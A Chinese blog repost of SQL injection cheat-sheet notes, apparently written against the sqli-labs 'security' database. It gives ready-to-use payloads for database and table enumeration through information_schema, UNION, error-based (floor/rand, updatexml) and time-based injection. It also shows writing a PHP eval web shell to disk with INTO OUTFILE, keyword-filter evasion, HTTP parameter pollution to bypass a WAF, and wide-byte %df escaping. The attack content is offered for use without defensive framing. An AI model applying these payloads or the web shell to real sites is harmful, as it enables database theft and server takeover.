sql注入

Posted white-album2

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。

mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入:
    1. 猜数据库:         select schema_name from information_schema.schemata
    2. 猜某个库的表:     select table_name from information_schema.tables where table_schema= ‘xxxxx‘
    3. 某个表的所有列:    select column_name from information_schema.columns where tables_name= ‘xxxx‘


使用 order by可以猜表的列数,如果超过了实际的列数可能会报错
在知道列数之后,可以使用 union 联合注入。union的作用是将两个sql语句进行联合,且 union前后两个 sql语句选择的列数要相同: "?id=-1‘union select 1,2,3 --+"   ,此时如果前面要查询的的数据不存在,就只会显示后一个语句查询的内容:
    爆数据库名:    "?id=-1‘union select 1,group_concat(schema_name),3 from information_schema.schemata --+"    表名和列名同理即可。



盲注:盲注即在注入的过程中,sql语句执行的结果、数据不能回显到前端页面,此时需要盲注来进行判断或尝试。

    1. 基于布尔的盲注,是通过构造逻辑判断来进行
    2. 基于报错的盲注,是通过构造 payload让信息通过错误提示回显出来:
        "?id=-1‘union select 1,count(*),concat(‘~‘,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘),‘~‘,floor(rand(0)*2))as a from information_schema.columns group by a --+"
        "?id=-1‘and(select 1 from(select count(*),concat(‘~‘,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘),‘~‘,floor(rand(0)*2))as a from information_schema.tables group by a)as x ) -- %20"
        "?id=-1‘and updatexml(1,concat(0x7e,(select xx),0x7e),1) --+"
    3. 基于时间的盲注,如 "and sleep(5)"


导入导出的相关操作
    and(select count(*) from mysql.user)>0   如果结果返回正常,说明具有读写权限
    上传一句话木马: "?id=1‘ union select 1,2,‘<?php @eval($_POST["mima"]) ?>‘ into outfile "xxxxx" --+"



or和 and的过滤:
    1. 大小写变形,如:oR,Or,OR
    2. 编码: hex,urlencode
    3. 添加注释: /*or*/
    4. 利用符号,如 or替换为||, and替换为 &&



服务器对于参数的解析:
    index.php?id=1&id=2
    1. PHP/Apach        会显示id=2 的内容,即解析最后一个参数
    2. JSP/Tomcat        会显示id=1 的内容,即解析第一个参数
    3. Perl(CGI)/Apach     会显示id=1 的内容
    4. Python/Apach        All
    5. ASP/IIS            ALL
    但如果是两层服务器的情况下,如 Apach上面装了 Tomcat的拓展,这种情况,这时候会返回id=2 的内容,因为实际上提供服务的是Apach,所以返回的数据也应是Apach处理的数据。
    在实际应用中,常常用 Tomcat做数据过滤和处理,功能类似于一个 WAF。因此我们可以利用此原理绕过 WAF的检测,这就是HPP(HTTP参数污染)。



宽字节注入:
    mysql在使用 gbk编码时,会认为两个字符是一个汉字,所以想要除掉过滤用的 ,一般有两种思路:
    1. 用 %df吃掉 ,因为 的编码是 %5c ,在前面加上 %df,那么 %df%5c 就会在gbk编码的时候变成一个汉字,而我们要被过滤的符号自然也就逃过了
    2. 再使用 将系统添加的 给转义掉,比如可以构造 %**%%5c,这样就形成了 %**%%5c%5c




















































以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章

sql 注入是啥?

什么叫sql注入,如何防止sql注入

关于SQL注入

Java安全-注入漏洞(SQL注入命令注入表达式注入模板注入)

sql注入一

什么是sql注入如何防止sql注入